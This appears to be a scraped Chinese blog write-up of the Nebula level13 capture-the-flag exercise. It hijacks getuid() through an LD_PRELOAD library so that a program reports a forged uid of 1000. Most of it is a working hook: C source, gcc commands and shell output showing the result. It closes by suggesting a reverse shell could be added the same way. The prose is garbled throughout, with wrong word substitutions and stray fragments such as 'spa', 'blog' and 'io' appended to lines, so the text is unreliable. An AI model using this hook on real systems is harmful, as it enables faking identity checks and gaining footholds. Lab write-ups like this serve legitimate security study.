LD_PRELOAD這個變量容許你定義在程序運行時優先加載的動態連接庫,從而在程序運行時的動態連接shell
下面程序的看一個例子-getuid.c函數
//getuid.c #include<stdio.h> #include<unistd.h> #include<sys/types.h> int main(void) { printf("my uid is %d\n",getuid()); }
//gcc -o getuid getuid.c
這段程序很簡單,就是獲取當前的uid測試
level13@nebula:/tmp$ ./getuid my uid is 1014 level13@nebula:/tmp$ id uid=1014(level13) gid=1014(level13) groups=1014(level13)
運行後確實拿到了當前用戶的uid,下面就經過LD_PRELOAD變量來劫持系統原來的getuid函數,從而改變返回結果ui
1、編寫惡意getuid()函數spa
//muid.c #include<sys/types.h> uid_t getuid(void) { return 1000; }
//gcc -shared -lc -fPIC -o muid.so muid.c
咱們讓惡意getuid函數返回1000這個值code
2、修改LD_PRELOAD變量blog
level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so" level13@nebula:/tmp$ export LD_PRELOAD
把LD_PRELOAD變量指向咱們編譯好的惡意getuid函數庫get
3、運行getuid程序io
level13@nebula:/tmp$ ./getuid my uid is 1000
能夠看到這裏getuid函數已經被劫持了,返回了咱們想要的uid值,順利hook該函數編譯
咱們也能夠加入更多惡意代碼,好比返彈shell等,通過測試,這種方式能夠劫持大部分系統函數,其餘理由有待深刻挖掘